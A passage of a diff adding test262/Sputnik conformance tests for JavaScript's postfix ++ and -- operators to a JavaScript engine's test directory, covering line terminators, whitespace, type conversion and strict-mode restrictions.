@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Line Terminator between LeftHandSideExpression and "++" is not allowed
+ *
+ * @path ch11/11.3/11.3.1/S11.3.1_A1.1_T1.js
+ * @description Checking Line Feed
+ * @negative
+ */
+
+//CHECK#1
+eval("var x = 1; x\u000A++");
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A1.1_T2.js b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A1.1_T2.js
new file mode 100644
index 000000000..4c97a56d1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A1.1_T2.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Line Terminator between LeftHandSideExpression and "++" is not allowed
+ *
+ * @path ch11/11.3/11.3.1/S11.3.1_A1.1_T2.js
+ * @description Carriage Return
+ * @negative
+ */
+
+//CHECK#1
+eval("var x = 1; x\u000D++");
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A1.1_T3.js b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A1.1_T3.js
new file mode 100644
index 000000000..16eb546f4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A1.1_T3.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Line Terminator between LeftHandSideExpression and "++" is not allowed
+ *
+ * @path ch11/11.3/11.3.1/S11.3.1_A1.1_T3.js
+ * @description Checking Line Seprator
+ * @negative
+ */
+
+//CHECK#1
+eval("var x = 1; x\u2028++");
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A1.1_T4.js b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A1.1_T4.js
new file mode 100644
index 000000000..8f9d56e71
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A1.1_T4.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Line Terminator between LeftHandSideExpression and "++" is not allowed
+ *
+ * @path ch11/11.3/11.3.1/S11.3.1_A1.1_T4.js
+ * @description Checking Paragraph separator
+ * @negative
+ */
+
+//CHECK#1
+eval("var x = 1; x\u2029++");
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A1.2_T1.js b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A1.2_T1.js
new file mode 100644
index 000000000..b8df6ebd7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A1.2_T1.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space between LeftHandSideExpression and "++" are allowed
+ *
+ * @path ch11/11.3/11.3.1/S11.3.1_A1.2_T1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("var x = 0; x\u0009++; x") !== 1) {
+ $ERROR('#1: var x = 0; x\\u0009++; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+if (eval("var x = 0; x\u000B++; x") !== 1) {
+ $ERROR('#2: var x = 0; x\\u000B++; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+if (eval("var x = 0; x\u000C++; x") !== 1) {
+ $ERROR('#3: var x = 0; x\\u000C++; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+if (eval("var x = 0; x\u0020++; x") !== 1) {
+ $ERROR('#4: var x = 0; x\\u0020++; x === 1. Actual: ' + (x));
+}
+
+//CHECK#5
+if (eval("var x = 0; x\u00A0++; x") !== 1) {
+ $ERROR('#5: var x = 0; x\\u00A0++; x === 1. Actual: ' + (x));
+}
+
+//CHECK#6
+if (eval("var x = 0; x\u0009\u000B\u000C\u0020\u00A0++; x") !== 1) {
+ $ERROR('#6: var x = 0; x\\u0009\\u000B\\u000C\\u0020\\u00A0++; x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A2.1_T1.js b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A2.1_T1.js
new file mode 100644
index 000000000..3f32ea5b7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A2.1_T1.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x++ uses GetValue and PutValue
+ *
+ * @path ch11/11.3/11.3.1/S11.3.1_A2.1_T1.js
+ * @description Type(x) is Reference and GetBase(x) is not null
+ */
+
+//CHECK#1
+var x = 1;
+var y = x++;
+if (y !== 1) {
+ $ERROR('#1: var x = 1; var y = x++; y === 1. Actual: ' + (y));
+} else {
+ if (x !== 1 + 1) {
+ $ERROR('#1: var x = 1; var y = x++; x === 1 + 1. Actual: ' + (x));
+ }
+}
+
+//CHECK#2
+this.x = 1;
+var y = this.x++;
+if (y !== 1) {
+ $ERROR('#2: this.x = 1; var y = this.x++; y === 1. Actual: ' + (y));
+} else {
+ if (this.x !== 1 + 1) {
+ $ERROR('#2: this.x = 1; var y = this.x++; this.x === 1 + 1. Actual: ' + (this.x));
+ }
+}
+
+//CHECK#3
+var object = new Object();
+object.prop = 1;
+var y = object.prop++;
+if (y !== 1) {
+ $ERROR('#3: var object = new Object(); object.prop = 1; var y = object.prop++; y === 1. Actual: ' + (y));
+} else {
+ if (this.x !== 1 + 1) {
+ $ERROR('#3: var object = new Object(); object.prop = 1; var y = object.prop++; object.prop === 1 + 1. Actual: ' + (object.prop));
+ }
+}
+
+
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A2.1_T2.js b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A2.1_T2.js
new file mode 100644
index 000000000..5bc1abbad
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A2.1_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x++ uses GetValue and PutValue
+ *
+ * @path ch11/11.3/11.3.1/S11.3.1_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x++;
+ $ERROR('#1.1: x++ throw ReferenceError. Actual: ' + (x++));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x++ throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A2.1_T3.js b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A2.1_T3.js
new file mode 100644
index 000000000..fec236e6d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A2.1_T3.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x++ uses GetValue and PutValue
+ *
+ * @path ch11/11.3/11.3.1/S11.3.1_A2.1_T3.js
+ * @description If Type(x) is not Reference, throw ReferenceError (or SyntaxError)
+ * @negative
+ */
+
+//CHECK#1
+try {
+ 1++;
+ $ERROR('#1.1: 1++ throw ReferenceError (or SyntaxError). Actual: ' + (1++));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1++ throw ReferenceError (or SyntaxError). Actual: ' + (e));
+ } else {
+ 1++;
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A2.2_T1.js b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A2.2_T1.js
new file mode 100644
index 000000000..dc82a92da
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A2.2_T1.js
@@ -0,0 +1,110 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x++ uses [[Default Value]]
+ *
+ * @path ch11/11.3/11.3.1/S11.3.1_A2.2_T1.js
+ * @description If Type(value) is Object, evaluate ToPrimitive(value, Number)
+ */
+
+//CHECK#1
+var object = {valueOf: function() {return 1}};
+var y = object++;
+if (y !== 1) {
+ $ERROR('#1: var object = {valueOf: function() {return 1}}; var y = object++; y === 1. Actual: ' + (y));
+} else {
+ if (object !== 1 + 1) {
+ $ERROR('#1: var object = {valueOf: function() {return 1}}; object++; object === 1 + 1. Actual: ' + (object));
+ }
+}
+
+//CHECK#2
+var object = {valueOf: function() {return 1}, toString: function() {return 0}};
+var y = object++;
+if (y !== 1) {
+ $ERROR('#2: var object = {valueOf: function() {return 1}, toString: function() {return 0}}; var y = object++; y === 1. Actual: ' + (y));
+} else {
+ if (object !== 1 + 1) {
+ $ERROR('#2: var object = {valueOf: function() {return 1}, toString: function() {return 0}}; object++; object === 1 + 1. Actual: ' + (object));
+ }
+}
+
+//CHECK#3
+var object = {valueOf: function() {return 1}, toString: function() {return {}}};
+var y = object++;
+if (y !== 1) {
+ $ERROR('#3: var object = {valueOf: function() {return 1}, toString: function() {return {}}}; var y = object++; y === 1. Actual: ' + (y));
+} else {
+ if (object !== 1 + 1) {
+ $ERROR('#3: var object = {valueOf: function() {return 1}, toString: function() {return {}}}; object++; object === 1 + 1. Actual: ' + (object));
+ }
+}
+
+//CHECK#4
+try {
+ var object = {valueOf: function() {return 1}, toString: function() {throw "error"}};
+ var y = object++;
+ if (y !== 1) {
+ $ERROR('#4.1: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; var y = object++; y === 1. Actual: ' + (y));
+ } else {
+ if (object !== 1 + 1) {
+ $ERROR('#4.2: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; object++; object === 1 + 1. Actual: ' + (object));
+ }
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.3: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; var y = object++; y not throw "error"');
+ } else {
+ $ERROR('#4.4: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; var y = object++; y not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+var object = {toString: function() {return 1}};
+var y = object++;
+if (y !== 1) {
+ $ERROR('#5.1: var object = {toString: function() {return 1}}; var y = object++; y === 1. Actual: ' + (y));
+} else {
+ if (object !== 1 + 1) {
+ $ERROR('#5.2: var object = {toString: function() {return 1}}; object++; object === 1 + 1. Actual: ' + (object));
+ }
+}
+
+
+//CHECK#6
+var object = {valueOf: function() {return {}}, toString: function() {return 1}}
+var y = object++;
+if (y !== 1) {
+ $ERROR('#6.1: var object = {valueOf: function() {return {}}, toString: function() {return 1}}; var y = object++; y === 1. Actual: ' + (y));
+} else {
+ if (object !== 1 + 1) {
+ $ERROR('#6.2: var object = {valueOf: function() {return {}}, toString: function() {return 1}}; object++; object === 1 + 1. Actual: ' + (object));
+ }
+}
+
+//CHECK#7
+try {
+ var object = {valueOf: function() {throw "error"}, toString: function() {return 1}};
+ var y = object++;
+ $ERROR('#7.1: var object = {valueOf: function() {throw "error"}, toString: function() {return 1}}; object++ throw "error". Actual: ' + (y));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: var object = {valueOf: function() {throw "error"}, toString: function() {return 1}}; object++ throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ var object = {valueOf: function() {return {}}, toString: function() {return {}}};
+ var y = object++;
+ $ERROR('#8.1: var object = {valueOf: function() {return {}}, toString: function() {return {}}}; object++ throw TypeError. Actual: ' + (y));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: var object = {valueOf: function() {return {}}, toString: function() {return {}}}; object++ throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A3_T1.js b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A3_T1.js
new file mode 100644
index 000000000..e3003d2d4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A3_T1.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x++ returns x = ToNumber(x) + 1
+ *
+ * @path ch11/11.3/11.3.1/S11.3.1_A3_T1.js
+ * @description Type(x) is boolean primitive or Boolean object
+ */
+
+//CHECK#1
+var x = false;
+x++;
+if (x !== 0 + 1) {
+ $ERROR('#1: var x = false; x++; x === 0 + 1. Actual: ' + (x));
+}
+
+//CHECK#2
+var x = new Boolean(true);
+x++;
+if (x !== 1 + 1) {
+ $ERROR('#2: var x = new Boolean(true); x++; x === 1 + 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A3_T2.js b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A3_T2.js
new file mode 100644
index 000000000..6b5560d1a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A3_T2.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x++ returns x = ToNumber(x) + 1
+ *
+ * @path ch11/11.3/11.3.1/S11.3.1_A3_T2.js
+ * @description Type(x) is number primitive or Number object
+ */
+
+//CHECK#1
+var x = 0.1;
+x++;
+if (x !== 0.1 + 1) {
+ $ERROR('#1: var x = 0.1; x++; x === 0.1 + 1. Actual: ' + (x));
+}
+
+//CHECK#2
+var x = new Number(-1.1);
+x++;
+if (x !== -1.1 + 1) {
+ $ERROR('#2: var x = new Number(-1.1); x++; x === -1.1 + 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A3_T3.js b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A3_T3.js
new file mode 100644
index 000000000..b43aa2c42
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A3_T3.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x++ returns x = ToNumber(x) + 1
+ *
+ * @path ch11/11.3/11.3.1/S11.3.1_A3_T3.js
+ * @description Type(x) is string primitive or String object
+ */
+
+//CHECK#1
+var x = "1";
+x++;
+if (x !== 1 + 1) {
+ $ERROR('#1: var x = "1"; x++; x === 1 + 1. Actual: ' + (x));
+}
+
+//CHECK#2
+var x = "x";
+x++;
+if (isNaN(x) !== true) {
+ $ERROR('#2: var x = "x"; x++; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#3
+var x = new Number("-1");
+x++;
+if (x !== -1 + 1) {
+ $ERROR('#3: var x = new String("-1"); x++; x === -1 + 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A3_T4.js b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A3_T4.js
new file mode 100644
index 000000000..1a6fd79ec
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A3_T4.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x++ returns x = ToNumber(x) + 1
+ *
+ * @path ch11/11.3/11.3.1/S11.3.1_A3_T4.js
+ * @description Type(x) is undefined or null
+ */
+
+//CHECK#1
+var x;
+x++;
+if (isNaN(x) !== true) {
+ $ERROR('#1: var x; x++; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+var x = null;
+x++;
+if (x !== 1) {
+ $ERROR('#2: var x = null; x++; x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A3_T5.js b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A3_T5.js
new file mode 100644
index 000000000..c18fc2085
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A3_T5.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x++ returns x = ToNumber(x) + 1
+ *
+ * @path ch11/11.3/11.3.1/S11.3.1_A3_T5.js
+ * @description Type(x) is Object object or Function object
+ */
+
+//CHECK#1
+var x = {};
+x++;
+if (isNaN(x) !== true) {
+ $ERROR('#1: var x = {}; x++; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+var x = function(){return 1};
+x++;
+if (isNaN(x) !== true) {
+ $ERROR('#2: var x = function(){return 1}; x++; x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A4_T1.js b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A4_T1.js
new file mode 100644
index 000000000..174800a77
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A4_T1.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x++ returns ToNumber(x)
+ *
+ * @path ch11/11.3/11.3.1/S11.3.1_A4_T1.js
+ * @description Type(x) is boolean primitive or Boolean object
+ */
+
+//CHECK#1
+var x = false;
+var y = x++;
+if (y !== 0) {
+ $ERROR('#1: var x = false; var y = x++; y === 0. Actual: ' + (y));
+}
+
+//CHECK#2
+var x = new Boolean(true);
+var y = x++;
+if (y !== 1) {
+ $ERROR('#2: var x = new Boolean(true); var y = x++; y === 1. Actual: ' + (y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A4_T2.js b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A4_T2.js
new file mode 100644
index 000000000..36fe9aec5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A4_T2.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x++ returns ToNumber(x)
+ *
+ * @path ch11/11.3/11.3.1/S11.3.1_A4_T2.js
+ * @description Type(x) is number primitive or Number object
+ */
+
+//CHECK#1
+var x = -0.1;
+var y = x++;
+if (y !== -0.1) {
+ $ERROR('#1: var x = -0.1; var y = x++; y === -0.1. Actual: ' + (y));
+}
+
+//CHECK#2
+var x = new Number(1.1);
+var y = x++;
+if (y !== 1.1) {
+ $ERROR('#2: var x = new Number(1.1); var y = x++; y === 1.1. Actual: ' + (y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A4_T3.js b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A4_T3.js
new file mode 100644
index 000000000..540ee9024
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A4_T3.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x++ returns ToNumber(x)
+ *
+ * @path ch11/11.3/11.3.1/S11.3.1_A4_T3.js
+ * @description Type(x) is string primitive or String object
+ */
+
+//CHECK#1
+var x = "1";
+var y = x++;
+if (y !== 1) {
+ $ERROR('#1: var x = "1"; var y = x++; y === 1. Actual: ' + (y));
+}
+
+//CHECK#2
+var x = "x";
+var y = x++;
+if (isNaN(y) !== true) {
+ $ERROR('#2: var x = "x"; var y = x++; y === Not-a-Number. Actual: ' + (y));
+}
+
+//CHECK#3
+var x = new String("-1");
+var y = x++;
+if (y !== -1) {
+ $ERROR('#3: var x = new String("-1"); var y = x++; y === -1. Actual: ' + (y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A4_T4.js b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A4_T4.js
new file mode 100644
index 000000000..cf703689d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A4_T4.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x++ returns ToNumber(x)
+ *
+ * @path ch11/11.3/11.3.1/S11.3.1_A4_T4.js
+ * @description Type(x) is undefined or null
+ */
+
+//CHECK#1
+var x;
+var y = x++;
+if (isNaN(y) !== true) {
+ $ERROR('#1: var x; var y = x++; y === Not-a-Number. Actual: ' + (y));
+}
+
+//CHECK#2
+var x = null;
+var y = x++;
+if (y !== 0) {
+ $ERROR('#2: var x = null; var y = x++; y === 0. Actual: ' + (y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A4_T5.js b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A4_T5.js
new file mode 100644
index 000000000..09a248cf3
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/S11.3.1_A4_T5.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x++ returns ToNumber(x)
+ *
+ * @path ch11/11.3/11.3.1/S11.3.1_A4_T5.js
+ * @description Type(x) is Object object or Function object
+ */
+
+//CHECK#1
+var x = {};
+var y = x++;
+if (isNaN(y) !== true) {
+ $ERROR('#1: var x = {}; var y = x++; y === Not-a-Number. Actual: ' + (y));
+}
+
+//CHECK#2
+var x = function(){return 1};
+var y = x++;
+if (isNaN(y) !== true) {
+ $ERROR('#2: var x = function(){return 1}; var y = x++; y === Not-a-Number. Actual: ' + (y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/browser.js b/js/src/tests/test262/ch11/11.3/11.3.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/browser.js
diff --git a/js/src/tests/test262/ch11/11.3/11.3.1/shell.js b/js/src/tests/test262/ch11/11.3/11.3.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.1/shell.js
diff --git a/js/src/tests/test262/ch11/11.3/11.3.2/11.3.2-2-1-s.js b/js/src/tests/test262/ch11/11.3/11.3.2/11.3.2-2-1-s.js
new file mode 100644
index 000000000..f40c73ac1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.2/11.3.2-2-1-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.3/11.3.2/11.3.2-2-1-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier 'arguments' appear as a PostfixExpression(arguments--)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = arguments;
+ try {
+ eval("arguments--;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === arguments;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.3/11.3.2/11.3.2-2-2-s.js b/js/src/tests/test262/ch11/11.3/11.3.2/11.3.2-2-2-s.js
new file mode 100644
index 000000000..09c186fd3
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.2/11.3.2-2-2-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.3/11.3.2/11.3.2-2-2-s.js
+ * @description Strict Mode - SyntaxError is thrown if the identifier 'eval' appear as a PostfixExpression(eval--)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = eval;
+ try {
+ eval("eval--;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === eval;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.3/11.3.2/11.3.2-2-3-s.js b/js/src/tests/test262/ch11/11.3/11.3.2/11.3.2-2-3-s.js
new file mode 100644
index 000000000..6eb43dbbd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.2/11.3.2-2-3-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.3/11.3.2/11.3.2-2-3-s.js
+ * @description Strict Mode - SyntaxError is not thrown if the identifier 'arguments[...]' appears as a PostfixExpression(arguments--)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ arguments[1] = 7;
+ arguments[1]--;
+ return arguments[1]===6;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A1.1_T1.js b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A1.1_T1.js
new file mode 100644
index 000000000..2fe2120bf
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A1.1_T1.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Line Terminator between LeftHandSideExpression and "--" is not allowed
+ *
+ * @path ch11/11.3/11.3.2/S11.3.2_A1.1_T1.js
+ * @description Checking Line Feed
+ * @negative
+ */
+
+//CHECK#1
+eval("var x = 1; x\u000A--");
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A1.1_T2.js b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A1.1_T2.js
new file mode 100644
index 000000000..49654288a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A1.1_T2.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Line Terminator between LeftHandSideExpression and "--" is not allowed
+ *
+ * @path ch11/11.3/11.3.2/S11.3.2_A1.1_T2.js
+ * @description Checking Carriage Return
+ * @negative
+ */
+
+//CHECK#1
+eval("var x = 1; x\u000D--");
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A1.1_T3.js b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A1.1_T3.js
new file mode 100644
index 000000000..5e0af0e99
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A1.1_T3.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Line Terminator between LeftHandSideExpression and "--" is not allowed
+ *
+ * @path ch11/11.3/11.3.2/S11.3.2_A1.1_T3.js
+ * @description Checking Page separator
+ * @negative
+ */
+
+//CHECK#1
+eval("var x = 1; x\u2028--");
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A1.1_T4.js b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A1.1_T4.js
new file mode 100644
index 000000000..e7d54a741
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A1.1_T4.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Line Terminator between LeftHandSideExpression and "--" is not allowed
+ *
+ * @path ch11/11.3/11.3.2/S11.3.2_A1.1_T4.js
+ * @description Checking Line separator
+ * @negative
+ */
+
+//CHECK#1
+eval("var x = 1; x\u2029--");
+
diff --git a/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A1.2_T1.js b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A1.2_T1.js
new file mode 100644
index 000000000..8140d2b8e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.3/11.3.2/S11.3.2_A1.2_T1.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space between LeftHandSideExpression and "--" are allowed
+ *
+ * @path ch11/11.3/11.3.2/S11.3.2_A1.2_T1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("var x = 0; x\u0009--; x") !== -1) {
+ $ERROR('#1: var x = 0; x\\u0009--; x === -1. Actual: ' + (x));
+}
+
+//CHECK#2
+if (eval("var x = 0; x\u000B--; x") !== -1) {
+ $ERROR('#2: var x = 0; x\\u000B--; x === -1. Actual: ' + (x));
+}
+
+//CHECK#3
+if (eval("var x = 0; x\u000C--; x") !== -1) {
